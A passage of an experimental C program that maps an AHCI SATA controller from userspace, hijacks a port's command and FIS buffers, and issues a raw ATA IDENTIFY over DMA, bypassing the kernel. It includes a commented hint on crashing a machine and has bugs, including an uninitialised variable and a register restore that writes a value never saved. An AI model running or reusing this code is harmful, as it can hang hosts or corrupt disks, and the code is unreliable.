    PORT_IRQ_PIOS_FIS            = (1 << 1), /* PIO Setup FIS rx'd */
    PORT_IRQ_D2H_REG_FIS         = (1 << 0), /* D2H Register FIS rx'd */

    PORT_IRQ_FREEZE              = PORT_IRQ_HBUS_ERR |
                                   PORT_IRQ_IF_ERR | PORT_IRQ_CONNECT |
                                   PORT_IRQ_PHYRDY | PORT_IRQ_UNK_FIS |
                                   PORT_IRQ_BAD_PMP,
    PORT_IRQ_ERROR               = PORT_IRQ_FREEZE |
                                   PORT_IRQ_TF_ERR | PORT_IRQ_HBUS_DATA_ERR,
    DEF_PORT_IRQ                 = PORT_IRQ_ERROR | PORT_IRQ_SG_DONE |
                                   PORT_IRQ_SDB_FIS | PORT_IRQ_DMAS_FIS |
                                   PORT_IRQ_PIOS_FIS | PORT_IRQ_D2H_REG_FIS,

    /* PORT_CMD bits */
    PORT_CMD_ASP                 = (1 << 27), /* Aggressive Slumber/Partial */
    PORT_CMD_ALPE                = (1 << 26), /* Aggressive Link PM enable */
    PORT_CMD_ATAPI               = (1 << 24), /* Device is ATAPI */
    PORT_CMD_FBSCP              = (1 << 22), /* FBS Capable Port */
    PORT_CMD_PMP                = (1 << 17), /* PMP attached */
    PORT_CMD_LIST_ON            = (1 << 15), /* cmd list DMA engine running */
    PORT_CMD_FIS_ON             = (1 << 14), /* FIS DMA engine running */
    PORT_CMD_FIS_RX             = (1 << 4), /* Enable FIS receive DMA engine */
    PORT_CMD_CLO                = (1 << 3), /* Command list override */
    PORT_CMD_POWER_ON           = (1 << 2), /* Power up device */
    PORT_CMD_SPIN_UP            = (1 << 1), /* Spin up device */
    PORT_CMD_START              = (1 << 0), /* Enable port DMA engine */

    PORT_CMD_ICC_MASK           = (0xf << 28), /* i/f ICC state mask */
    PORT_CMD_ICC_ACTIVE         = (0x1 << 28), /* Put i/f in active state */
    PORT_CMD_ICC_PARTIAL        = (0x2 << 28), /* Put i/f in partial state */
    PORT_CMD_ICC_SLUMBER        = (0x6 << 28), /* Put i/f in slumber state */

    /* PORT_FBS bits */
    PORT_FBS_DWE_OFFSET         = 16, /* FBS device with error offset */
    PORT_FBS_ADO_OFFSET         = 12, /* FBS active dev optimization offset */
    PORT_FBS_DEV_OFFSET         = 8,  /* FBS device to issue offset */
    PORT_FBS_DEV_MASK           = (0xf << PORT_FBS_DEV_OFFSET),  /* FBS.DEV */
    PORT_FBS_SDE                = (1 << 2), /* FBS single device error */
    PORT_FBS_DEC                = (1 << 1), /* FBS device error clear */
    PORT_FBS_EN                 = (1 << 0), /* Enable FBS */

    /* PORT_DEVSLP bits */
    PORT_DEVSLP_DM_OFFSET       = 25,             /* DITO multiplier offset */
    PORT_DEVSLP_DM_MASK         = (0xf << 25),    /* DITO multiplier mask */
    PORT_DEVSLP_DITO_OFFSET     = 15,             /* DITO offset */
    PORT_DEVSLP_MDAT_OFFSET     = 10,             /* Minimum assertion time */
    PORT_DEVSLP_DETO_OFFSET     = 2,              /* DevSlp exit timeout */
    PORT_DEVSLP_DSP             = (1 << 1),       /* DevSlp present */
    PORT_DEVSLP_ADSE            = (1 << 0),       /* Aggressive DevSlp enable */
    /* hpriv->flags bits */

#define AHCI_HFLAGS(flags) .private_data    = (void *)(flags)
    AHCI_HFLAG_NO_NCQ               = (1 << 0),
    AHCI_HFLAG_IGN_IRQ_IF_ERR       = (1 << 1), /* ignore IRQ_IF_ERR */
    AHCI_HFLAG_IGN_SERR_INTERNAL    = (1 << 2), /* ignore SERR_INTERNAL */
    AHCI_HFLAG_32BIT_ONLY           = (1 << 3), /* force 32bit */
    AHCI_HFLAG_MV_PATA              = (1 << 4), /* PATA port */
    AHCI_HFLAG_NO_MSI               = (1 << 5), /* no PCI MSI */
    AHCI_HFLAG_NO_PMP               = (1 << 6), /* no PMP */
    AHCI_HFLAG_SECT255              = (1 << 8), /* max 255 sectors */
    AHCI_HFLAG_YES_NCQ              = (1 << 9), /* force NCQ cap on */
    AHCI_HFLAG_NO_SUSPEND           = (1 << 10), /* don't suspend */
    AHCI_HFLAG_SRST_TOUT_IS_OFFLINE = (1 << 11), /* treat SRST timeout as link
offline */
```

```
    AHCI_HFLAG_NO_SNTF                = (1 << 12), /* no sntf */
    AHCI_HFLAG_NO_FPDMA_AA            = (1 << 13), /* no FPDMA AA */
    AHCI_HFLAG_YES_FBS                = (1 << 14), /* force FBS cap on */
    AHCI_HFLAG_DELAY_ENGINE           = (1 << 15),
    AHCI_HFLAG_MULTI_MSI              = (1 << 16), /* multiple PCI MSIs */
    AHCI_HFLAG_NO_DEVSLP              = (1 << 17), /* no device sleep */
    AHCI_HFLAG_NO_FBS                 = (1 << 18), /* no FBS */

    /* ap->flags bits */
    ICH_MAP                           = 0x90, /* ICH MAP register */
    /* em constants */
    EM_MAX_SLOTS                      = 8,
    EM_MAX_RETRY                      = 5,
    /* em_ctl bits */
    EM_CTL_RST                        = (1 << 9), /* Reset */
    EM_CTL_TM                         = (1 << 8), /* Transmit Message */
    EM_CTL_MR                         = (1 << 0), /* Message Received */
    EM_CTL_ALHD                       = (1 << 26), /* Activity LED */
    EM_CTL_XMT                        = (1 << 25), /* Transmit Only */
    EM_CTL_SMB                        = (1 << 24), /* Single Message Buffer */
    EM_CTL_SGPIO                      = (1 << 19), /* SGPIO messages supported */
    EM_CTL_SES                        = (1 << 18), /* SES-2 messages supported */
    EM_CTL_SAFTE                      = (1 << 17), /* SAF-TE messages supported */
    EM_CTL_LED                        = (1 << 16), /* LED messages supported */

    /* em message type */
    EM_MSG_TYPE_LED                   = (1 << 0), /* LED */
    EM_MSG_TYPE_SAFTE                 = (1 << 1), /* SAF-TE */
    EM_MSG_TYPE_SES2                  = (1 << 2), /* SES-2 */
    EM_MSG_TYPE_SGPIO                 = (1 << 3), /* SGPIO */
};

typedef struct ahci_hba_port
{
    uint32_t    clb;        // 0x00, command list base address, 1K-byte aligned
    uint32_t    clbu;       // 0x04, command list base address upper 32 bits
    uint32_t    fb;         // 0x08, FIS base address, 256-byte aligned
    uint32_t    fbu;        // 0x0C, FIS base address upper 32 bits
    uint32_t    is;         // 0x10, interrupt status
    uint32_t    ie;         // 0x14, interrupt enable
    uint32_t    cmd;        // 0x18, command and status
    uint32_t    rsv0;       // 0x1C, Reserved
    uint32_t    tfd;        // 0x20, task file data
    uint32_t    sig;        // 0x24, signature
    uint32_t    ssts;       // 0x28, SATA status (SCR0:SStatus)
    uint32_t    sctl;       // 0x2C, SATA control (SCR2:SControl)
    uint32_t    serr;       // 0x30, SATA error (SCR1:SError)
    uint32_t    sact;       // 0x34, SATA active (SCR3:SActive)
    uint32_t    ci;         // 0x38, command issue
    uint32_t    sntf;       // 0x3C, SATA notification (SCR4:SNotification)p
    uint32_t    fbs;        // 0x40, FIS-based switch control
    uint32_t    rsv1[11];   // 0x44 ~ 0x6F, Reserved
    uint32_t    vendor[4];  // 0x70 ~ 0x7F, vendor specific
} hba_port_t;

typedef struct ahci_host {
    uint32_t cap;
    uint32_t ctl;
    uint32_t irq_stat;
    uint32_t ports_impl;
    uint32_t version;
    uint32_t em_loc;
    uint32_t em_ctl;
    uint32_t cap2;
} ahci_host_t;

/* Command scatter gather structure (PRD). */
/* corresponds to the PRTDT entries from the osdev wiki page */
struct cmd_sg {
    unsigned int dba; // data buffer addr
    unsigned int dba_upper;
    unsigned int reserved;
    /*
     * Bit 31: interrupt when this data block has been transferred.
     * Bits 30..22: reserved
     * Bits 21..0: byte count (minus 1).
     */
    unsigned int info;
};

void
usage(char *p)
{
    printf("%s <opts>\n"
           "   -b Bus ID\n"
           "   -d Device ID\n"
           "   -f Function ID\n"
           "   -a BAR (phys addr)\n"
           "   -p Number of pages to map\n"
           "   -h This usage info\n"
           "Ex: %s -b 02 -d 05 -f 0 -a 0xfd5ee000 -p 1\n"
          , p, p);
}
```

```
/* This is meant to mimic the output from dmesg | grep AHCI . If there is a
 * match then we know at least we have the right mem location */
void
print_ahci_info(ahci_host_t *p)
{
    uint32_t speed;
    char * speed_s;

    speed = (p->cap >> 20) & 0xf;
    if (speed == 1)
        speed_s = "1.5";
    else if (speed == 2)
        speed_s = "3";
    else if (speed == 3)
        speed_s = "6";
    else
        speed_s = "?";

    printf("AHCI %02x%02x.%02x%02x %u slots %d ports %s Gbps 0x%x impl\n",
            (p->version >> 24) & 0xff,
            (p->version >> 16) & 0xff,
            (p->version >>  8) & 0xff,
            (p->version >>  0) & 0xff,
            ((p->cap >> 8) & 0x1f) + 1,
            (p->cap & 0x1f) + 1,
            speed_s,
            p->ports_impl);
}

// This doesn't actually work in practice...
void
reset_ahci_controller(ahci_host_t *p)
{
    uint32_t ctl;

    ctl = p->ctl;
    if ((ctl & HOST_RESET) == 0) {
        printf("resetting...\n");
        p->ctl = (ctl | HOST_RESET);
        ctl = p->ctl;
    }
    sleep(2);

    ctl = p->ctl;
    if (ctl & HOST_RESET) {
        printf("Successfully reset!\n");
    }
    else {
        printf("Didn't reset\n");
    }
}

void *
ahci_port_base(char * p)
{
    return p + PORT_OFFSET;
}

hba_port_t *
ahci_port_entry(char * p, int port_num)
{
    return (hba_port_t *)((p + PORT_OFFSET) + (port_num * PORT_SIZE));
}

void
print_interrupt_bits(int ie)
{
    if (ie & PORT_IRQ_D2H_REG_FIS)
        printf("\tPORT_IRQ_D2H_REG_FIS\n");
    if (ie & PORT_IRQ_PIOS_FIS)
        printf("\tPORT_IRQ_PIOS_FIS\n");
    if (ie & PORT_IRQ_DMAS_FIS)
        printf("\tPORT_IRQ_DMAS_FIS\n");
    if (ie & PORT_IRQ_SDB_FIS)
        printf("\tPORT_IRQ_SDB_FIS\n");
    if (ie & PORT_IRQ_UNK_FIS)
        printf("\tPORT_IRQ_UNK_FIS\n");
    if (ie & PORT_IRQ_SG_DONE)
        printf("\tPORT_IRQ_SG_DONE\n");
    if (ie & PORT_IRQ_CONNECT)
        printf("\tPORT_IRQ_CONNECT\n");
    if (ie & PORT_IRQ_DEV_ILCK)
        printf("\tPORT_IRQ_DEV_ILCK\n");
    if (ie & PORT_IRQ_PHYRDY)
        printf("\tPORT_IRQ_PHYRDY\n");
    if (ie & PORT_IRQ_BAD_PMP)
        printf("\tPORT_IRQ_BAD_PMP\n");
    if (ie & PORT_IRQ_OVERFLOW)
        printf("\tPORT_IRQ_OVERFLOW\n");
    if (ie & PORT_IRQ_IF_NONFATAL)
        printf("\tPORT_IRQ_IF_NONFATAL\n");
    if (ie & PORT_IRQ_IF_ERR)
        printf("\tPORT_IRQ_IF_ERR\n");
    if (ie & PORT_IRQ_HBUS_DATA_ERR)
```

```
        printf("\tPORT_IRQ_HBUS_DATA_ERR\n");
    if (ie & PORT_IRQ_HBUS_ERR)
        printf("\tPORT_IRQ_HBUS_ERR\n");
    if (ie & PORT_IRQ_TF_ERR)
        printf("\tPORT_IRQ_TF_ERR\n");
    if (ie & PORT_IRQ_COLD_PRES)
        printf("\tPORT_IRQ_COLD_PRES\n");
}

void
print_command_bits(int cmd)
{
    if (cmd & PORT_CMD_START)
        printf("\tPORT_CMD_START\n");
    if (cmd & PORT_CMD_SPIN_UP)
        printf("\tPORT_CMD_SPIN_UP\n");
    if (cmd & PORT_CMD_POWER_ON)
        printf("\tPORT_CMD_POWER_ON\n");
    if (cmd & PORT_CMD_CLO)
        printf("\tPORT_CMD_CLO\n");
    if (cmd & PORT_CMD_FIS_RX)
        printf("\tPORT_CMD_FIS_RX\n");
    if (cmd & PORT_CMD_FIS_ON)
        printf("\tPORT_CMD_FIS_ON\n");
    if (cmd & PORT_CMD_LIST_ON)
        printf("\tPORT_CMD_LIST_ON\n");
    if (cmd & PORT_CMD_PMP)
        printf("\tPORT_CMD_PMP\n");
    if (cmd & PORT_CMD_FBSCP)
        printf("\tPORT_CMD_FBSCP\n");
    if (cmd & PORT_CMD_ATAPI)
        printf("\tPORT_CMD_ATAPI\n");
    if (cmd & PORT_CMD_ALPE)
        printf("\tPORT_CMD_ALPE\n");
    if (cmd & PORT_CMD_ASP)
        printf("\tPORT_CMD_ASP\n");
}

void
print_ahci_port(hba_port_t * p)
{
    printf("command list base address: 0x%x\n", p->clb);
    printf("FIS base address: 0x%x\n", p->fb);
    printf("interrupt status: 0x%x\n", p->is);
    print_interrupt_bits(p->is);
    printf("interrupt enable: 0x%x\n", p->ie);
    print_interrupt_bits(p->ie);
    printf("command and status: 0x%x\n", p->cmd);
    print_command_bits(p->cmd);
    printf("signature : 0x%x ", p->sig);
    if (p->sig == SATA_SIG_ATA) {
        printf("(SATA drive)\n");
    }
    else {
        putchar('\n');
    }
    printf("tfd : 0x%x\n", p->tfd);
    printf("status : 0x%x\n", p->ssts);
    printf("errors : 0x%x\n", p->serr);
    printf("active : 0x%x\n", p->sact);
    printf("control : 0x%x\n", p->sctl);
}

void
start_cmd(hba_port_t *p)
{
    printf("Waiting for PORT_CMD_START\n");
    while(p->cmd & PORT_CMD_START);

    printf("PORT_CMD_START is off\n");
    p->cmd |= PORT_CMD_FIS_RX;
    p->cmd |= PORT_CMD_START;
    printf("Started cmd engine\n");
}

void
stop_cmd(hba_port_t *p)
{
    int cmd;

    printf("Before:\n");
    print_command_bits(p->cmd);
    p->cmd &= ~PORT_CMD_START;
    cmd = p->cmd; // flush

    printf("Waiting for PORT_CMD_FIS_ON and PORT_CMD_LIST_ON\n");
    // These never seems to actually shut off when you unset the CMD_START bit
    // despite what the osdev wiki says? not sure what is wrong
    while(0) { // XXX while(1)
        if (p->cmd & PORT_CMD_FIS_ON)
            continue;
        if (p->cmd & PORT_CMD_LIST_ON)
            continue;
        break;
    }

    p->cmd &= ~PORT_CMD_FIS_RX;
    cmd = p->cmd; // flush
    printf("Stopped cmd engine\n");
    printf("After:\n");
    print_command_bits(p->cmd);
}

/* XXX - This should use the ports_impl member to actually find the first one
instead */
int32_t
find_inuse_port(ahci_host_t *p)
{
    int32_t port;
    int32_t port_count;
    hba_port_t * hbap;

    port_count = (p->cap & 0x1f) + 1;

    printf("p->ports_impl: 0x%x\n", p->ports_impl);

    for (port = 0; port < port_count; port++) {
        hbap = ahci_port_entry((char *)p, port);
        if (hbap->ie != 0) {
            printf("--------- port %d ---------\n", port);
            print_ahci_port(hbap);
            printf("---------------------------\n");
            return port;
        }
    }

    return -1;
}

/* For larger data transfers we would have issue here with forcing adjacent
physical pages
   needed for dma? If you do one 512 sector at a time it might be okay though */
char *
alloc_phy(uint32_t len, uint64_t * phy)
{
    char * vaddr;
    static int32_t pmap = 0;
    if (len > PAGE_SIZE) {
        printf("[!] Warning. Physical allocation of size 0x%x might not be
contiguous\n", len);
    }
    vaddr = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0);
    if ((int64_t)vaddr == -1) {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
    // Touch it to be sure it's actually mapped
    memset(vaddr, 0, len);
    // Lock it to ensure it doesnt get swapped during dma or something
    mlock(vaddr, len);
    if (!pmap) {
        pmap = open_pmap();
    }
    *phy = vaddr_to_paddr(pmap, (uint64_t)vaddr);

    return vaddr;
}

void
disable_interrupts(ahci_host_t * p)
{
    uint32_t ctl;

    ctl &= ~HOST_IRQ_EN;
    p->ctl = ctl;
    ctl = p->ctl; // flush
    if (ctl & HOST_IRQ_EN) {
        printf("IRQs did not disable! Something is broken\n");
        exit(EXIT_FAILURE);
    }
    else {
        printf("IRQs disabled\n");
    }
}

void
enable_interrupts(ahci_host_t * p)
{
    uint32_t ctl;
    ctl = p->ctl | HOST_IRQ_EN;
    p->ctl = ctl;
    ctl = p->ctl; // flush
    if (ctl & HOST_IRQ_EN) {
        printf("IRQs enabled\n");
    }
    else {
        printf("IRQs couldn't enabled! Something is broken\n");
        exit(EXIT_FAILURE);
    }
}

int32_t
main(int32_t argc, char **argv)
{
    uint32_t        c;
    char            path[PATH_MAX];
    int32_t         fd;
    char *          bus;
    char *          device;
    char *          function;
    uint32_t        sbus, sdevfn, svend;
    unsigned long   bar, sbar =0;
    uint32_t        total_read_size;

    ahci_host_t *           p;
    char *                  ptr;
    char *                  dma;      // data sent and recieved via scatter/gather
    uint64_t                dma_phy;
    char *                  cmd_list; // new address of command list
    uint64_t                cmd_list_phy;
    char *                  cmd;      // address of command table
    uint64_t                cmd_phy;
    char *                  fis_buf;  // address to receive FIS responses
    uint64_t                fis_buf_phy;
    unsigned int            num_pages;
    uint32_t                orig_cmd_list;
    uint32_t                orig_cmd_listu;
    uint32_t                orig_fis;
    uint32_t                orig_fisu;
    struct host_to_dev_fis  fis;
    struct dma_setup_fis    setup_fis;
    struct cmd_hdr *        cmd_hdr;
    struct cmd_sg *         cmd_sg;
    int32_t                 fis_len;
    int32_t                 buf_len;
    int32_t                 tmp;
    int32_t                 i;
    int32_t                 complete;
    int32_t                 done;

    char            last_fis_page[PAGE_SIZE];
    char            last_cmd_page[PAGE_SIZE];

    bus = device = function = NULL;
    num_pages = bar = sbus = sdevfn = 0;

    while ((c = getopt(argc, argv, "b:d:f:a:p:h")) != -1) {
        switch(c) {
            case 'b':
                bus = optarg;
                break;
            case 'd':
                device = optarg;
                break;
            case 'f':
                function = optarg;
                break;
            case 'a':
                bar = strtoul(optarg, NULL, 16);
                break;
            case 'p':
                num_pages = atoi(optarg);
                break;
            case 'h':
            default:
                usage(argv[0]);
                exit(EXIT_SUCCESS);
        }
    }

    if (!bus || !device || !function || !num_pages || !bar) {
        printf( "Must supply bus slot function bar(hex) num_pages(dec)\n" );
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }

    total_read_size = getpagesize() * num_pages;

    printf("bar:%lx bus:%s device:%s function:%s\n", bar, bus, device, function);
    sprintf(path, "/proc/bus/pci/%s/%s.%s", bus, device, function);

    fd = open(path, O_RDWR);
    if (fd == -1) {
        printf("Failed to open: %s\n", path);
        perror("open");
        exit(1);
    }

    printf("opened %s\n", path);
    printf("mapping %d pages of size: %d\n", num_pages, getpagesize());
    ioctl(fd, PCIIOC_MMAP_IS_MEM);
```

```
ptr = mmap(NULL, total_read_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd,
        (off_t) bar);
if( ptr == MAP_FAILED ) {
    perror("mmap failed!");
    exit(1);
}

print_ahci_info((ahci_host_t *) ptr);

p = (ahci_host_t *)ptr;

// Disable interrupts for this device so the kernel doesn't get involved.
// This obviously breaks if it's the main disk, since it will stop
// working...
disable_interrupts(p);

if (p->cap & HOST_CAP_64) {
    printf("Supports 64-bit addresses\n");
}

/* This means the FIS DMA setup functionality is hidden by the AHCI
 * controller itself, and it will copy to our buffers, specified via SG in
 * other FIS directly */
if (p->cap & HOST_CAP_NCQ) {
    printf("Supports native command queuing\n");
}

// This would influence our CFIS construction later
if (p->cap & HOST_CAP_PMP) {
    printf("Supports port multiplier\n");
}

// should stay below 1 page to ensure memory contiguity
dma      = alloc_phy(PAGE_SIZE, &dma_phy);
cmd_list = alloc_phy(PAGE_SIZE, &cmd_list_phy);
fis_buf  = alloc_phy(PAGE_SIZE, &fis_buf_phy);
cmd      = alloc_phy(PAGE_SIZE, &cmd_phy);
printf("DMA buffer @ 0x%lx\n", (uint64_t)dma_phy);
printf("cmd list buffer @ 0x%lx\n", (uint64_t)cmd_list_phy);
printf("FIS buffer @ 0x%lx\n", (uint64_t)fis_buf_phy);
printf("cmd buffer @ 0x%lx\n", (uint64_t)cmd_phy);
memcpy(last_fis_page, fis_buf, PAGE_SIZE);

int32_t tport = find_inuse_port(p);

hba_port_t * hbap;
hbap = ahci_port_entry((char *)p, tport);
```

```
// if you want to just crash a machine you can zero out everything
//memset(hbap, 0, sizeof(hba_port_t));

orig_fis      = hbap->fb;
orig_fisu     = hbap->fbu;
orig_cmd_list = hbap->clb;
orig_cmd_list = hbap->clbu;

// XXX - stopping like this doesn't seem to actually work
//stop_cmd(hbap);
hbap->fb = (uint64_t)fis_buf_phy & 0xffffffff;
hbap->fbu = 0;
hbap->clb = (uint64_t)cmd_list_phy & 0xffffffff;
hbap->clbu = 0;
//start_cmd(hbap);

memset(&fis, 0, sizeof(fis));
memset(&setup_fis, 0, sizeof(setup_fis));

// build H2D fis
fis.type    = FIS_TYPE_REG_H2D;
fis.opts    = 1 << 7; // Set the Command bit
fis.command = ATA_CMD_ID_ATA;
// If NCQ is used, these addrs shoudln't be needed, as the SG will be used
// instead? Set them anyway just in case
fis.lba_low = (dma_phy >> 8 ) & 0xff;
fis.lba_mid = (dma_phy >> 16) & 0xff;
fis.lba_hi  = (dma_phy >> 24) & 0xff;
fis.sect_count = 1;
fis_len = 5;
buf_len = sizeof(uint16_t) * ATA_ID_WORDS;
memcpy(cmd, &fis, fis_len*4);

cmd_hdr = (struct cmd_hdr *)cmd_list;
cmd_hdr->ctba = (cmd_phy & 0xffffffff);
cmd_hdr->ctbau = ((cmd_phy >> 16) >> 16);

// These assume we are using the first slot
cmd_sg = (struct cmd_sg *)(cmd + AHCI_CMD_TBL_HDR_SZ);
cmd_sg->info = (buf_len-1) & 0x3fffff;
cmd_sg->dba = dma_phy & 0xFFFFFFFF;
cmd_sg->dba_upper = ((dma_phy >> 16) >> 16);
// 1 << 16 represent a single SG count in PRDTL
cmd_hdr->opts |= fis_len | (1 << 16);

printf("interrupt status before: 0x%x\n", hbap->is);
```

```
    printf("start bit before: %d\n", hbap->cmd & 1);
    tmp = hbap->cmd;
    hbap->cmd |= tmp | 1;
    //hbap->sact = 1;      // required when issuing NCQ command
    hbap->ci = 1;          // slot 0 XXX - needs to be dynamic if different slot
                           // in use

    memcpy(last_cmd_page, cmd_list, PAGE_SIZE);
    sleep(1);

    complete = 0;
    printf("interrupt status after: 0x%x\n", hbap->is);
    print_interrupt_bits(hbap->is);
    // Wait for something to use our physical address
    printf("Waiting for command completion\n");
    done = 0;
    while(!done) {
        if ((hbap->ci & 1) == 0 && !complete) {
            printf("Seems to have completed...\n");
            complete = 1;
        }
        else if (!complete) {
            printf("wasn't complete\n");
        }
        if ((hbap->is & PORT_IRQ_TF_ERR)) {
            print_interrupt_bits(hbap->is);
            print_ahci_port(hbap);
            printf("Taskfile error\n");
            printf("tfd : 0x%x\n", hbap->tfd);
            printf("DIAG error\n");
            printf("diag : 0x%x\n", hbap->serr);
            hexdump(dma, 256);
            break;
        }
        sleep(1);

        for (i = 0; i < PAGE_SIZE; i++) {
            // Anything non-zero is interesting
            if (dma[i]) {
                printf("Got response data in DMA buffer:\n");
                hexdump(dma, PAGE_SIZE);
                done = 1;
                break;
            }
        }
    }
    hbap->fb = orig_fis;
    hbap->fbu = orig_fisu;
    hbap->clb = orig_cmd_list;
    hbap->clbu = orig_cmd_listu;
    enable_interrupts(p);

    munmap(dma, PAGE_SIZE);
    munmap(cmd_list, PAGE_SIZE);
    munmap(cmd, PAGE_SIZE);
    munmap(fis_buf, PAGE_SIZE);
    munmap(ptr, total_read_size);
    close(fd);
    return 0;
}
```